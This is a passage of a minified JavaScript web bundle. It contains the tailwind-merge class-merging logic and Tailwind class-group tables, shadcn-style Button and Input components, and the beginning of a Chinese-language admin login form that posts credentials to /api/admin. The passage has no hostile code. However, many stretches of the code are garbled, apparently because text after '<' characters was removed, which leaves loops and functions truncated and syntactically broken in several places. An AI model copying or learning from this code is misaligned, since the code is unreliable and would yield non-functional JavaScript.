a=t.length;for(let i=0;i{if(typeof t=="string"){N5(t,e,n);return}if(typeof t=="function"){w5(t,e,n,r);return}j5(t,e,n,r)},N5=(t,e,n)=>{const r=t===""?e:hj(e,t);r.classGroupId=n},w5=(t,e,n,r)=>{if(k5(t)){Wx(t(r),e,n,r);return}e.validators===null&&(e.validators=[]),e.validators.push(p5(n,t))},j5=(t,e,n,r)=>{const a=Object.entries(t),i=a.length;for(let o=0;o{let n=t;const r=e.split(fh),a=r.length;for(let i=0;i"isThemeGetter"in t&&t.isThemeGetter===!0,S5=t=>{if(t<1)return{get:()=>{},set:()=>{}};let e=0,n=Object.create(null),r=Object.create(null);const a=(i,o)=>{n[i]=o,e++,e>t&&(e=0,r=n,n=Object.create(null))};return{get(i){let o=n[i];if(o!==void 0)return o;if((o=r[i])!==void 0)return a(i,o),o},set(i,o){i in n?n[i]=o:a(i,o)}}},_g="!",Gv=":",C5=[],Jv=(t,e,n,r,a)=>({modifiers:t,hasImportantModifier:e,baseClassName:n,maybePostfixModifierPosition:r,isExternal:a}),E5=t=>{const{prefix:e,experimentalParseClassName:n}=t;let r=a=>{const i=[];let o=0,c=0,u=0,h;const f=a.length;for(let w=0;wu?h-u:void 0;return Jv(i,y,g,N)};if(e){const a=e+Gv,i=r;r=o=>o.startsWith(a)?i(o.slice(a.length)):Jv(C5,!1,o,void 0,!0)}if(n){const a=r;r=i=>n({className:i,parseClassName:a})}return r},T5=t=>{const e=new Map;return t.orderSensitiveModifiers.forEach((n,r)=>{e.set(n,1e6+r)}),n=>{const r=[];let a=[];for(let i=0;i0&&(a.sort(),r.push(...a),a=[]),r.push(o)):a.push(o)}return a.length>0&&(a.sort(),r.push(...a)),r}},M5=t=>({cache:S5(t.cacheSize),parseClassName:E5(t),sortModifiers:T5(t),...g5(t)}),A5=/\s+/,I5=(t,e)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:a,sortModifiers:i}=e,o=[],c=t.trim().split(A5);let u="";for(let h=c.length-1;h>=0;h-=1){const f=c[h],{isExternal:m,modifiers:g,hasImportantModifier:y,baseClassName:N,maybePostfixModifierPosition:w}=n(f);if(m){u=f+(u.length>0?" "+u:u);continue}let v=!!w,k=r(v?N.substring(0,w):N);if(!k){if(!v){u=f+(u.length>0?" "+u:u);continue}if(k=r(N),!k){u=f+(u.length>0?" "+u:u);continue}v=!1}const C=g.length===0?"":g.length===1?g[0]:i(g).join(":"),E=y?C+_g:C,T=E+k;if(o.indexOf(T)>-1)continue;o.push(T);const I=a(k,v);for(let O=0;O0?" "+u:u)}return u},R5=(...t)=>{let e=0,n,r,a="";for(;e{if(typeof t=="string")return t;let e,n="";for(let r=0;r{let n,r,a,i;const o=u=>{const h=e.reduce((f,m)=>m(f),t());return n=M5(h),r=n.cache.get,a=n.cache.set,i=c,c(u)},c=u=>{const h=r(u);if(h)return h;const f=I5(u,n);return a(u,f),f};return i=o,(...u)=>i(R5(...u))},O5=[],Mn=t=>{const e=n=>n[t]||O5;return e.isThemeGetter=!0,e},pj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,mj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,D5=/^\d+\/\d+$/,L5=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,_5=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,z5=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,$5=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,F5=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,rl=t=>D5.test(t),ut=t=>!!t&&!Number.isNaN(Number(t)),Ya=t=>!!t&&Number.isInteger(Number(t)),Am=t=>t.endsWith("%")&&ut(t.slice(0,-1)),ha=t=>L5.test(t),B5=()=>!0,V5=t=>_5.test(t)&&!z5.test(t),gj=()=>!1,H5=t=>$5.test(t),W5=t=>F5.test(t),U5=t=>!$e(t)&&!Fe(t),K5=t=>Ol(t,bj,gj),$e=t=>pj.test(t),Zi=t=>Ol(t,vj,V5),Im=t=>Ol(t,Q5,ut),Yv=t=>Ol(t,xj,gj),q5=t=>Ol(t,yj,W5),Eu=t=>Ol(t,Nj,H5),Fe=t=>mj.test(t),Sc=t=>Dl(t,vj),G5=t=>Dl(t,X5),Qv=t=>Dl(t,xj),J5=t=>Dl(t,bj),Y5=t=>Dl(t,yj),Tu=t=>Dl(t,Nj,!0),Ol=(t,e,n)=>{const r=pj.exec(t);return r?r[1]?e(r[1]):n(r[2]):!1},Dl=(t,e,n=!1)=>{const r=mj.exec(t);return r?r[1]?e(r[1]):n:!1},xj=t=>t==="position"||t==="percentage",yj=t=>t==="image"||t==="url",bj=t=>t==="length"||t==="size"||t==="bg-size",vj=t=>t==="length",Q5=t=>t==="number",X5=t=>t==="family-name",Nj=t=>t==="shadow",Z5=()=>{const t=Mn("color"),e=Mn("font"),n=Mn("text"),r=Mn("font-weight"),a=Mn("tracking"),i=Mn("leading"),o=Mn("breakpoint"),c=Mn("container"),u=Mn("spacing"),h=Mn("radius"),f=Mn("shadow"),m=Mn("inset-shadow"),g=Mn("text-shadow"),y=Mn("drop-shadow"),N=Mn("blur"),w=Mn("perspective"),v=Mn("aspect"),k=Mn("ease"),C=Mn("animate"),E=()=>["auto","avoid","all","avoid-page","page","left","right","column"],T=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],I=()=>[...T(),Fe,$e],O=()=>["auto","hidden","clip","visible","scroll"],L=()=>["auto","contain","none"],R=()=>[Fe,$e,u],D=()=>[rl,"full","auto",...R()],_=()=>[Ya,"none","subgrid",Fe,$e],Z=()=>["auto",{span:["full",Ya,Fe,$e]},Ya,Fe,$e],ne=()=>[Ya,"auto",Fe,$e],fe=()=>["auto","min","max","fr",Fe,$e],xe=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],$=()=>["start","end","center","stretch","center-safe","end-safe"],H=()=>["auto",...R()],oe=()=>[rl,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...R()],P=()=>[t,Fe,$e],K=()=>[...T(),Qv,Yv,{position:[Fe,$e]}],V=()=>["no-repeat",{repeat:["","x","y","space","round"]}],z=()=>["auto","cover","contain",J5,K5,{size:[Fe,$e]}],U=()=>[Am,Sc,Zi],le=()=>["","none","full",h,Fe,$e],J=()=>["",ut,Sc,Zi],Y=()=>["solid","dashed","dotted","double"],B=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],re=()=>[ut,Am,Qv,Yv],ue=()=>["","none",N,Fe,$e],ce=()=>["none",ut,Fe,$e],ye=()=>["none",ut,Fe,$e],Re=()=>[ut,Fe,$e],Le=()=>[rl,"full",...R()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[B5],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[U5],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ut],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",rl,$e,Fe,v]}],container:["container"],columns:[{columns:[ut,$e,Fe,c]}],"break-after":[{"break-after":E()}],"break-before":[{"break-before":E()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:I()}],overflow:[{overflow:O()}],"overflow-x":[{"overflow-x":O()}],"overflow-y":[{"overflow-y":O()}],overscroll:[{overscroll:L()}],"overscroll-x":[{"overscroll-x":L()}],"overscroll-y":[{"overscroll-y":L()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:D()}],"inset-x":[{"inset-x":D()}],"inset-y":[{"inset-y":D()}],start:[{start:D()}],end:[{end:D()}],top:[{top:D()}],right:[{right:D()}],bottom:[{bottom:D()}],left:[{left:D()}],visibility:["visible","invisible","collapse"],z:[{z:[Ya,"auto",Fe,$e]}],basis:[{basis:[rl,"full","auto",c,...R()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ut,rl,"auto","initial","none",$e]}],grow:[{grow:["",ut,Fe,$e]}],shrink:[{shrink:["",ut,Fe,$e]}],order:[{order:[Ya,"first","last","none",Fe,$e]}],"grid-cols":[{"grid-cols":_()}],"col-start-end":[{col:Z()}],"col-start":[{"col-start":ne()}],"col-end":[{"col-end":ne()}],"grid-rows":[{"grid-rows":_()}],"row-start-end":[{row:Z()}],"row-start":[{"row-start":ne()}],"row-end":[{"row-end":ne()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":fe()}],"auto-rows":[{"auto-rows":fe()}],gap:[{gap:R()}],"gap-x":[{"gap-x":R()}],"gap-y":[{"gap-y":R()}],"justify-content":[{justify:[...xe(),"normal"]}],"justify-items":[{"justify-items":[...$(),"normal"]}],"justify-self":[{"justify-self":["auto",...$()]}],"align-content":[{content:["normal",...xe()]}],"align-items":[{items:[...$(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...$(),{baseline:["","last"]}]}],"place-content":[{"place-content":xe()}],"place-items":[{"place-items":[...$(),"baseline"]}],"place-self":[{"place-self":["auto",...$()]}],p:[{p:R()}],px:[{px:R()}],py:[{py:R()}],ps:[{ps:R()}],pe:[{pe:R()}],pt:[{pt:R()}],pr:[{pr:R()}],pb:[{pb:R()}],pl:[{pl:R()}],m:[{m:H()}],mx:[{mx:H()}],my:[{my:H()}],ms:[{ms:H()}],me:[{me:H()}],mt:[{mt:H()}],mr:[{mr:H()}],mb:[{mb:H()}],ml:[{ml:H()}],"space-x":[{"space-x":R()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":R()}],"space-y-reverse":["space-y-reverse"],size:[{size:oe()}],w:[{w:[c,"screen",...oe()]}],"min-w":[{"min-w":[c,"screen","none",...oe()]}],"max-w":[{"max-w":[c,"screen","none","prose",{screen:[o]},...oe()]}],h:[{h:["screen","lh",...oe()]}],"min-h":[{"min-h":["screen","lh","none",...oe()]}],"max-h":[{"max-h":["screen","lh",...oe()]}],"font-size":[{text:["base",n,Sc,Zi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,Fe,Im]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",Am,$e]}],"font-family":[{font:[G5,$e,e]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[a,Fe,$e]}],"line-clamp":[{"line-clamp":[ut,"none",Fe,Im]}],leading:[{leading:[i,...R()]}],"list-image":[{"list-image":["none",Fe,$e]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",Fe,$e]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:P()}],"text-color":[{text:P()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...Y(),"wavy"]}],"text-decoration-thickness":[{decoration:[ut,"from-font","auto",Fe,Zi]}],"text-decoration-color":[{decoration:P()}],"underline-offset":[{"underline-offset":[ut,"auto",Fe,$e]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:R()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",Fe,$e]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",Fe,$e]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:K()}],"bg-repeat":[{bg:V()}],"bg-size":[{bg:z()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},Ya,Fe,$e],radial:["",Fe,$e],conic:[Ya,Fe,$e]},Y5,q5]}],"bg-color":[{bg:P()}],"gradient-from-pos":[{from:U()}],"gradient-via-pos":[{via:U()}],"gradient-to-pos":[{to:U()}],"gradient-from":[{from:P()}],"gradient-via":[{via:P()}],"gradient-to":[{to:P()}],rounded:[{rounded:le()}],"rounded-s":[{"rounded-s":le()}],"rounded-e":[{"rounded-e":le()}],"rounded-t":[{"rounded-t":le()}],"rounded-r":[{"rounded-r":le()}],"rounded-b":[{"rounded-b":le()}],"rounded-l":[{"rounded-l":le()}],"rounded-ss":[{"rounded-ss":le()}],"rounded-se":[{"rounded-se":le()}],"rounded-ee":[{"rounded-ee":le()}],"rounded-es":[{"rounded-es":le()}],"rounded-tl":[{"rounded-tl":le()}],"rounded-tr":[{"rounded-tr":le()}],"rounded-br":[{"rounded-br":le()}],"rounded-bl":[{"rounded-bl":le()}],"border-w":[{border:J()}],"border-w-x":[{"border-x":J()}],"border-w-y":[{"border-y":J()}],"border-w-s":[{"border-s":J()}],"border-w-e":[{"border-e":J()}],"border-w-t":[{"border-t":J()}],"border-w-r":[{"border-r":J()}],"border-w-b":[{"border-b":J()}],"border-w-l":[{"border-l":J()}],"divide-x":[{"divide-x":J()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":J()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...Y(),"hidden","none"]}],"divide-style":[{divide:[...Y(),"hidden","none"]}],"border-color":[{border:P()}],"border-color-x":[{"border-x":P()}],"border-color-y":[{"border-y":P()}],"border-color-s":[{"border-s":P()}],"border-color-e":[{"border-e":P()}],"border-color-t":[{"border-t":P()}],"border-color-r":[{"border-r":P()}],"border-color-b":[{"border-b":P()}],"border-color-l":[{"border-l":P()}],"divide-color":[{divide:P()}],"outline-style":[{outline:[...Y(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ut,Fe,$e]}],"outline-w":[{outline:["",ut,Sc,Zi]}],"outline-color":[{outline:P()}],shadow:[{shadow:["","none",f,Tu,Eu]}],"shadow-color":[{shadow:P()}],"inset-shadow":[{"inset-shadow":["none",m,Tu,Eu]}],"inset-shadow-color":[{"inset-shadow":P()}],"ring-w":[{ring:J()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:P()}],"ring-offset-w":[{"ring-offset":[ut,Zi]}],"ring-offset-color":[{"ring-offset":P()}],"inset-ring-w":[{"inset-ring":J()}],"inset-ring-color":[{"inset-ring":P()}],"text-shadow":[{"text-shadow":["none",g,Tu,Eu]}],"text-shadow-color":[{"text-shadow":P()}],opacity:[{opacity:[ut,Fe,$e]}],"mix-blend":[{"mix-blend":[...B(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":B()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ut]}],"mask-image-linear-from-pos":[{"mask-linear-from":re()}],"mask-image-linear-to-pos":[{"mask-linear-to":re()}],"mask-image-linear-from-color":[{"mask-linear-from":P()}],"mask-image-linear-to-color":[{"mask-linear-to":P()}],"mask-image-t-from-pos":[{"mask-t-from":re()}],"mask-image-t-to-pos":[{"mask-t-to":re()}],"mask-image-t-from-color":[{"mask-t-from":P()}],"mask-image-t-to-color":[{"mask-t-to":P()}],"mask-image-r-from-pos":[{"mask-r-from":re()}],"mask-image-r-to-pos":[{"mask-r-to":re()}],"mask-image-r-from-color":[{"mask-r-from":P()}],"mask-image-r-to-color":[{"mask-r-to":P()}],"mask-image-b-from-pos":[{"mask-b-from":re()}],"mask-image-b-to-pos":[{"mask-b-to":re()}],"mask-image-b-from-color":[{"mask-b-from":P()}],"mask-image-b-to-color":[{"mask-b-to":P()}],"mask-image-l-from-pos":[{"mask-l-from":re()}],"mask-image-l-to-pos":[{"mask-l-to":re()}],"mask-image-l-from-color":[{"mask-l-from":P()}],"mask-image-l-to-color":[{"mask-l-to":P()}],"mask-image-x-from-pos":[{"mask-x-from":re()}],"mask-image-x-to-pos":[{"mask-x-to":re()}],"mask-image-x-from-color":[{"mask-x-from":P()}],"mask-image-x-to-color":[{"mask-x-to":P()}],"mask-image-y-from-pos":[{"mask-y-from":re()}],"mask-image-y-to-pos":[{"mask-y-to":re()}],"mask-image-y-from-color":[{"mask-y-from":P()}],"mask-image-y-to-color":[{"mask-y-to":P()}],"mask-image-radial":[{"mask-radial":[Fe,$e]}],"mask-image-radial-from-pos":[{"mask-radial-from":re()}],"mask-image-radial-to-pos":[{"mask-radial-to":re()}],"mask-image-radial-from-color":[{"mask-radial-from":P()}],"mask-image-radial-to-color":[{"mask-radial-to":P()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":T()}],"mask-image-conic-pos":[{"mask-conic":[ut]}],"mask-image-conic-from-pos":[{"mask-conic-from":re()}],"mask-image-conic-to-pos":[{"mask-conic-to":re()}],"mask-image-conic-from-color":[{"mask-conic-from":P()}],"mask-image-conic-to-color":[{"mask-conic-to":P()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:K()}],"mask-repeat":[{mask:V()}],"mask-size":[{mask:z()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",Fe,$e]}],filter:[{filter:["","none",Fe,$e]}],blur:[{blur:ue()}],brightness:[{brightness:[ut,Fe,$e]}],contrast:[{contrast:[ut,Fe,$e]}],"drop-shadow":[{"drop-shadow":["","none",y,Tu,Eu]}],"drop-shadow-color":[{"drop-shadow":P()}],grayscale:[{grayscale:["",ut,Fe,$e]}],"hue-rotate":[{"hue-rotate":[ut,Fe,$e]}],invert:[{invert:["",ut,Fe,$e]}],saturate:[{saturate:[ut,Fe,$e]}],sepia:[{sepia:["",ut,Fe,$e]}],"backdrop-filter":[{"backdrop-filter":["","none",Fe,$e]}],"backdrop-blur":[{"backdrop-blur":ue()}],"backdrop-brightness":[{"backdrop-brightness":[ut,Fe,$e]}],"backdrop-contrast":[{"backdrop-contrast":[ut,Fe,$e]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ut,Fe,$e]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ut,Fe,$e]}],"backdrop-invert":[{"backdrop-invert":["",ut,Fe,$e]}],"backdrop-opacity":[{"backdrop-opacity":[ut,Fe,$e]}],"backdrop-saturate":[{"backdrop-saturate":[ut,Fe,$e]}],"backdrop-sepia":[{"backdrop-sepia":["",ut,Fe,$e]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":R()}],"border-spacing-x":[{"border-spacing-x":R()}],"border-spacing-y":[{"border-spacing-y":R()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",Fe,$e]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ut,"initial",Fe,$e]}],ease:[{ease:["linear","initial",k,Fe,$e]}],delay:[{delay:[ut,Fe,$e]}],animate:[{animate:["none",C,Fe,$e]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,Fe,$e]}],"perspective-origin":[{"perspective-origin":I()}],rotate:[{rotate:ce()}],"rotate-x":[{"rotate-x":ce()}],"rotate-y":[{"rotate-y":ce()}],"rotate-z":[{"rotate-z":ce()}],scale:[{scale:ye()}],"scale-x":[{"scale-x":ye()}],"scale-y":[{"scale-y":ye()}],"scale-z":[{"scale-z":ye()}],"scale-3d":["scale-3d"],skew:[{skew:Re()}],"skew-x":[{"skew-x":Re()}],"skew-y":[{"skew-y":Re()}],transform:[{transform:[Fe,$e,"","none","gpu","cpu"]}],"transform-origin":[{origin:I()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:Le()}],"translate-x":[{"translate-x":Le()}],"translate-y":[{"translate-y":Le()}],"translate-z":[{"translate-z":Le()}],"translate-none":["translate-none"],accent:[{accent:P()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:P()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",Fe,$e]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":R()}],"scroll-mx":[{"scroll-mx":R()}],"scroll-my":[{"scroll-my":R()}],"scroll-ms":[{"scroll-ms":R()}],"scroll-me":[{"scroll-me":R()}],"scroll-mt":[{"scroll-mt":R()}],"scroll-mr":[{"scroll-mr":R()}],"scroll-mb":[{"scroll-mb":R()}],"scroll-ml":[{"scroll-ml":R()}],"scroll-p":[{"scroll-p":R()}],"scroll-px":[{"scroll-px":R()}],"scroll-py":[{"scroll-py":R()}],"scroll-ps":[{"scroll-ps":R()}],"scroll-pe":[{"scroll-pe":R()}],"scroll-pt":[{"scroll-pt":R()}],"scroll-pr":[{"scroll-pr":R()}],"scroll-pb":[{"scroll-pb":R()}],"scroll-pl":[{"scroll-pl":R()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",Fe,$e]}],fill:[{fill:["none",...P()]}],"stroke-w":[{stroke:[ut,Sc,Zi,Im]}],stroke:[{stroke:["none",...P()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},eI=P5(Z5);function Et(...t){return eI(lj(t))}const tI=cj("inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-white hover:bg-destructive/90",outline:"border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-9 px-4 py-2 has-[>svg]:px-3",sm:"h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5",lg:"h-10 rounded-md px-6 has-[>svg]:px-4",icon:"size-9","icon-sm":"size-8","icon-lg":"size-10"}},defaultVariants:{variant:"default",size:"default"}});function te({className:t,variant:e,size:n,asChild:r=!1,...a}){const i=r?ij:"button";return s.jsx(i,{"data-slot":"button",className:Et(tI({variant:e,size:n,className:t})),...a})}function se({className:t,type:e,...n}){return s.jsx("input",{type:e,"data-slot":"input",className:Et("h-9 w-full min-w-0 rounded-md border border-input bg-transparent px-3 py-1 text-base shadow-xs outline-none placeholder:text-muted-foreground disabled:pointer-events-none disabled:opacity-50 md:text-sm focus-visible:ring-2 focus-visible:ring-ring",t),...n})}function nI(){const t=Ci(),[e,n]=b.useState(""),[r,a]=b.useState(""),[i,o]=b.useState(""),[c,u]=b.useState(!1),h=async()=>{o(""),u(!0);try{const f=await vt("/api/admin",{username:e.trim(),password:r});if((f==null?void 0:f.success)!==!1&&(f!=null&&f.token)){ZA(f.token),t("/dashboard",{replace:!0});return}o(f.error||"用户名或密码错误")}catch(f){const m=f;o(m.status===401?"用户名或密码错误":(m==null?void 0:m.message)||"网络错误,请重试")}finally{u(!1)}};return s.jsxs("div",{className:"min-h-screen bg-[#0a1628] flex items-center justify-center p-4",children:[s.jsxs("div",{className:"absolute inset-0 overflow-hidden",children:[s.jsx("div",{className:"absolute top-1/4 left-1/4 w-96 h-96 bg-[#38bdac]/5 rounded-full blur-3xl"}),s.jsx("div",{className:"absolute bottom-1/4 right-1/4 w-96 h-96 bg-blue-500/5 rounded-full blur-3xl"})]}),s.jsxs("div",{className:"w-full max-w-md relative z-10",children:[s.jsxs("div",{className:"text-center mb-8",children:[s.jsx("div",{className:"w-16 h-16 bg-[#38bdac]/20 rounded-2xl flex items-center justify-center mx-auto mb-4 border border-[#38bdac]/30",children:s.jsx(_c,{className:"w-8 h-8 text-[#38bdac]"})}),s.jsx("h1",{className:"text-2xl font-bold text-white mb-2",children:"管理后台"}),s.jsx("p",{className:"text-gray-400",children:"一场SOUL的创业实验场"})]}),s.jsxs("div",{className:"bg-[#0f2137] rounded-2xl p-8 shadow-xl border border-gray-700/50 backdrop-blur-xl",children:[s.jsx("h2",{className:"text-xl font-semibold text-white mb-6 text-center",children:"管理员登录"}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-gray-400 text-sm mb-2",children:"用户名"}),s.jsxs("div",{className:"relative",children:[s.jsx(co,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-5 h-5 text-gray-500"}),s.jsx(se,{type:"text",value:e,onChange:f=>n(f.target.value),placeholder:"请输入用户名",className:"pl-10 bg-[#0a1628] 